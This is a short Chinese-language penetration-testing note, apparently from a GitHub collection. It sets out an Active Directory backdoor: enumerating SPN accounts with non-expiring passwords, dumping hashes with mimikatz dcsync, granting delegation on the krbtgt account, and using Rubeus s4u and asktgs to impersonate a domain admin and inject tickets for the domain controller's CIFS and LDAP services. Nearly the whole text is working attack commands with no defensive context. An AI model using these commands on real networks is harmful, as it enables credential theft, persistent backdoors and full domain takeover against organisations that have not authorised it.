域控执行,寻找具备SPN且密码永不过期的账户
>Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires| ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}
![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/553.png)
使用mimikatz的dcsync提取用户hash
>lsadump::dcsync /domain:zone.com /user:y
![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/554.png)
布置后门
>Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount 账户
![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/555.png)
布置完成后利用,登录账户y
触发后门
>Rubeus.exe s4u /user:y /aes256:{aes256} /domain:zone.com /msdsspn:krbtgt /impersonateuser:godadmin
![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/556.png)
注入票据,获取域控的CIFS、LDAP服务
>Rubeus.exe asktgs /ticket:{} /service:cifs/dc.zone.com,ldap/dc.zone.com /ptt
![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/560.png)